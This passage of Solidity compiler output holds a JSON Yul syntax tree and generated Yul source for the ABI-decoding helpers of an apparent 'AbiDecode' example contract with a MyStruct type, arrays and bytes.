"name": "revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d", | |
"nodeType": "YulIdentifier", | |
"src": "20866:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "20866:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "20866:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "20843:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "20851:4:1", | |
"type": "", | |
"value": "0x1f" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "20839:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "20839:17:1" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "20858:3:1" | |
} | |
], | |
"functionName": { | |
"name": "slt", | |
"nodeType": "YulIdentifier", | |
"src": "20835:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "20835:27:1" | |
} | |
], | |
"functionName": { | |
"name": "iszero", | |
"nodeType": "YulIdentifier", | |
"src": "20828:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "20828:35:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "20825:122:1" | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "20956:18:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "20970:4:1", | |
"type": "", | |
"value": "0x02" | |
}, | |
"variables": [ | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "20960:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "20983:90:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "21053:6:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "21061:6:1" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "21069:3:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_decode_available_length_t_array$_t_uint256_$2_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "20992:60:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "20992:81:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "array", | |
"nodeType": "YulIdentifier", | |
"src": "20983:5:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_decode_t_array$_t_uint256_$2_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "20793:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "20801:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "array", | |
"nodeType": "YulTypedName", | |
"src": "20809:5:1", | |
"type": "" | |
} | |
], | |
"src": "20740:339:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "21196:687:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "21240:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_3538a459e4a0eb828f1aed5ebe5dc96fe59620a31d9b33e41259bb820cae769f", | |
"nodeType": "YulIdentifier", | |
"src": "21242:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "21242:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "21242:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "21217:3:1" | |
}, | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "21222:9:1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "21213:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "21213:19:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "21234:4:1", | |
"type": "", | |
"value": "0x60" | |
} | |
], | |
"functionName": { | |
"name": "slt", | |
"nodeType": "YulIdentifier", | |
"src": "21209:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "21209:30:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "21206:117:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "21332:30:1", | |
"value": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "21357:4:1", | |
"type": "", | |
"value": "0x40" | |
} | |
], | |
"functionName": { | |
"name": "allocate_memory", | |
"nodeType": "YulIdentifier", | |
"src": "21341:15:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "21341:21:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "21332:5:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulBlock", | |
"src": "21372:320:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "21407:45:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "21438:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "21449:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "21434:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "21434:17:1" | |
} | |
], | |
"functionName": { | |
"name": "calldataload", | |
"nodeType": "YulIdentifier", | |
"src": "21421:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "21421:31:1" | |
}, | |
"variables": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "21411:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "21499:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_5e8f644817bc4960744f35c15999b6eff64ae702f94b1c46297cfd4e1aec2421", | |
"nodeType": "YulIdentifier", | |
"src": "21501:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "21501:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "21501:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "21471:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "21479:18:1", | |
"type": "", | |
"value": "0xffffffffffffffff" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "21468:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "21468:30:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "21465:117:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "21607:5:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "21614:4:1", | |
"type": "", | |
"value": "0x00" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "21603:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "21603:16:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "21656:9:1" | |
}, | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "21667:6:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "21652:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "21652:22:1" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "21676:3:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_decode_t_string_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "21621:30:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "21621:59:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "21596:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "21596:85:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "21596:85:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulBlock", | |
"src": "21702:174:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "21737:16:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "21751:2:1", | |
"type": "", | |
"value": "32" | |
}, | |
"variables": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "21741:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "21778:5:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "21785:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "21774:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "21774:16:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "21840:9:1" | |
}, | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "21851:6:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "21836:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "21836:22:1" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "21860:3:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_decode_t_array$_t_uint256_$2_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "21792:43:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "21792:72:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "21767:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "21767:98:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "21767:98:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_decode_t_struct$_MyStruct_$8_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulTypedName", | |
"src": "21171:9:1", | |
"type": "" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "21182:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "21190:5:1", | |
"type": "" | |
} | |
], | |
"src": "21118:765:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "22062:1024:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "22109:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b", | |
"nodeType": "YulIdentifier", | |
"src": "22111:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "22111:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "22111:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "22083:7:1" | |
}, | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "22092:9:1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "22079:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "22079:23:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "22104:3:1", | |
"type": "", | |
"value": "128" | |
} | |
], | |
"functionName": { | |
"name": "slt", | |
"nodeType": "YulIdentifier", | |
"src": "22075:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "22075:33:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "22072:120:1" | |
}, | |
{ | |
"nodeType": "YulBlock", | |
"src": "22202:117:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "22217:15:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "22231:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
"variables": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "22221:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "22246:63:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "22281:9:1" | |
}, | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "22292:6:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "22277:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "22277:22:1" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "22301:7:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_decode_t_uint256", | |
"nodeType": "YulIdentifier", | |
"src": "22256:20:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "22256:53:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulIdentifier", | |
"src": "22246:6:1" | |
} | |
] | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulBlock", | |
"src": "22329:126:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "22344:16:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "22358:2:1", | |
"type": "", | |
"value": "32" | |
}, | |
"variables": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "22348:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "22374:71:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "22417:9:1" | |
}, | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "22428:6:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "22413:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "22413:22:1" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "22437:7:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_decode_t_address_payable", | |
"nodeType": "YulIdentifier", | |
"src": "22384:28:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "22384:61:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value1", | |
"nodeType": "YulIdentifier", | |
"src": "22374:6:1" | |
} | |
] | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulBlock", | |
"src": "22465:303:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "22480:46:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "22511:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "22522:2:1", | |
"type": "", | |
"value": "64" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "22507:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "22507:18:1" | |
} | |
], | |
"functionName": { | |
"name": "calldataload", | |
"nodeType": "YulIdentifier", | |
"src": "22494:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "22494:32:1" | |
}, | |
"variables": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "22484:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "22573:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db", | |
"nodeType": "YulIdentifier", | |
"src": "22575:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "22575:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "22575:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "22545:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "22553:18:1", | |
"type": "", | |
"value": "0xffffffffffffffff" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "22542:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "22542:30:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "22539:117:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "22670:88:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "22730:9:1" | |
}, | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "22741:6:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "22726:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "22726:22:1" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "22750:7:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_decode_t_array$_t_uint256_$dyn_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "22680:45:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "22680:78:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value2", | |
"nodeType": "YulIdentifier", | |
"src": "22670:6:1" | |
} | |
] | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulBlock", | |
"src": "22778:301:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "22793:46:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "22824:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "22835:2:1", | |
"type": "", | |
"value": "96" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "22820:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "22820:18:1" | |
} | |
], | |
"functionName": { | |
"name": "calldataload", | |
"nodeType": "YulIdentifier", | |
"src": "22807:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "22807:32:1" | |
}, | |
"variables": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "22797:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "22886:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db", | |
"nodeType": "YulIdentifier", | |
"src": "22888:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "22888:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "22888:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "22858:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "22866:18:1", | |
"type": "", | |
"value": "0xffffffffffffffff" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "22855:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "22855:30:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "22852:117:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "22983:86:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "23041:9:1" | |
}, | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "23052:6:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "23037:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "23037:22:1" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulIdentifier", | |
"src": "23061:7:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_decode_t_struct$_MyStruct_$8_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "22993:43:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "22993:76:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value3", | |
"nodeType": "YulIdentifier", | |
"src": "22983:6:1" | |
} | |
] | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_decode_tuple_t_uint256t_address_payablet_array$_t_uint256_$dyn_memory_ptrt_struct$_MyStruct_$8_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulTypedName", | |
"src": "22008:9:1", | |
"type": "" | |
}, | |
{ | |
"name": "dataEnd", | |
"nodeType": "YulTypedName", | |
"src": "22019:7:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulTypedName", | |
"src": "22031:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "value1", | |
"nodeType": "YulTypedName", | |
"src": "22039:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "value2", | |
"nodeType": "YulTypedName", | |
"src": "22047:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "value3", | |
"nodeType": "YulTypedName", | |
"src": "22055:6:1", | |
"type": "" | |
} | |
], | |
"src": "21889:1197:1" | |
} | |
] | |
}, | |
"contents": "{\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function validator_revert_t_uint256(value) {\n if iszero(eq(value, cleanup_t_uint256(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_uint256(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_uint256(value)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function validator_revert_t_address(value) {\n if iszero(eq(value, cleanup_t_address(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_address(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_address(value)\n }\n\n function revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d() {\n revert(0, 0)\n }\n\n function revert_error_15abf5612cd996bc235ba1e55a4a30ac60e6bb601ff7ba4ad3f179b6be8d0490() {\n revert(0, 0)\n }\n\n function revert_error_81385d8c0b31fffe14be1da910c8bd3a80be4cfa248e04f42ec0faea3132a8ef() {\n revert(0, 0)\n }\n\n // uint256[]\n function abi_decode_t_array$_t_uint256_$dyn_calldata_ptr(offset, end) -> arrayPos, length {\n if iszero(slt(add(offset, 0x1f), end)) { revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d() }\n length := calldataload(offset)\n if gt(length, 0xffffffffffffffff) { revert_error_15abf5612cd996bc235ba1e55a4a30ac60e6bb601ff7ba4ad3f179b6be8d0490() }\n arrayPos := add(offset, 0x20)\n if gt(add(arrayPos, mul(length, 0x20)), end) { revert_error_81385d8c0b31fffe14be1da910c8bd3a80be4cfa248e04f42ec0faea3132a8ef() }\n }\n\n function revert_error_21fe6b43b4db61d76a176e95bf1a6b9ede4c301f93a4246f41fecb96e160861d() {\n revert(0, 0)\n }\n\n // struct AbiDecode.MyStruct\n function abi_decode_t_struct$_MyStruct_$8_calldata_ptr(offset, end) -> value {\n if slt(sub(end, offset), 96) { revert_error_21fe6b43b4db61d76a176e95bf1a6b9ede4c301f93a4246f41fecb96e160861d() }\n value := offset\n }\n\n function abi_decode_tuple_t_uint256t_addresst_array$_t_uint256_$dyn_calldata_ptrt_struct$_MyStruct_$8_calldata_ptr(headStart, dataEnd) -> value0, value1, value2, value3, value4 {\n if slt(sub(dataEnd, headStart), 128) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_uint256(add(headStart, offset), dataEnd)\n }\n\n {\n\n let offset := 32\n\n value1 := abi_decode_t_address(add(headStart, offset), dataEnd)\n }\n\n {\n\n let offset := calldataload(add(headStart, 64))\n if gt(offset, 0xffffffffffffffff) { revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() }\n\n value2, value3 := abi_decode_t_array$_t_uint256_$dyn_calldata_ptr(add(headStart, offset), dataEnd)\n }\n\n {\n\n let offset := calldataload(add(headStart, 96))\n if gt(offset, 0xffffffffffffffff) { revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() }\n\n value4 := abi_decode_t_struct$_MyStruct_$8_calldata_ptr(add(headStart, offset), dataEnd)\n }\n\n }\n\n function array_length_t_bytes_memory_ptr(value) -> length {\n\n length := mload(value)\n\n }\n\n function array_storeLengthForEncoding_t_bytes_memory_ptr_fromStack(pos, length) -> updated_pos {\n mstore(pos, length)\n updated_pos := add(pos, 0x20)\n }\n\n function copy_memory_to_memory_with_cleanup(src, dst, length) {\n let i := 0\n for { } lt(i, length) { i := add(i, 32) }\n {\n mstore(add(dst, i), mload(add(src, i)))\n }\n mstore(add(dst, length), 0)\n }\n\n function round_up_to_mul_of_32(value) -> result {\n result := and(add(value, 31), not(31))\n }\n\n function abi_encode_t_bytes_memory_ptr_to_t_bytes_memory_ptr_fromStack(value, pos) -> end {\n let length := array_length_t_bytes_memory_ptr(value)\n pos := array_storeLengthForEncoding_t_bytes_memory_ptr_fromStack(pos, length)\n copy_memory_to_memory_with_cleanup(add(value, 0x20), pos, length)\n end := add(pos, round_up_to_mul_of_32(length))\n }\n\n function abi_encode_tuple_t_bytes_memory_ptr__to_t_bytes_memory_ptr__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n mstore(add(headStart, 0), sub(tail, headStart))\n tail := abi_encode_t_bytes_memory_ptr_to_t_bytes_memory_ptr_fromStack(value0, tail)\n\n }\n\n // bytes\n function abi_decode_t_bytes_calldata_ptr(offset, end) -> arrayPos, length {\n if iszero(slt(add(offset, 0x1f), end)) { revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d() }\n length := calldataload(offset)\n if gt(length, 0xffffffffffffffff) { revert_error_15abf5612cd996bc235ba1e55a4a30ac60e6bb601ff7ba4ad3f179b6be8d0490() }\n arrayPos := add(offset, 0x20)\n if gt(add(arrayPos, mul(length, 0x01)), end) { revert_error_81385d8c0b31fffe14be1da910c8bd3a80be4cfa248e04f42ec0faea3132a8ef() }\n }\n\n function abi_decode_tuple_t_bytes_calldata_ptr(headStart, dataEnd) -> value0, value1 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := calldataload(add(headStart, 0))\n if gt(offset, 0xffffffffffffffff) { revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() }\n\n value0, value1 := abi_decode_t_bytes_calldata_ptr(add(headStart, offset), dataEnd)\n }\n\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encode_t_address_to_t_address_fromStack(value, pos) {\n mstore(pos, cleanup_t_address(value))\n }\n\n function array_length_t_array$_t_uint256_$dyn_memory_ptr(value) -> length {\n\n length := mload(value)\n\n }\n\n function array_storeLengthForEncoding_t_array$_t_uint256_$dyn_memory_ptr_fromStack(pos, length) -> updated_pos {\n mstore(pos, length)\n updated_pos 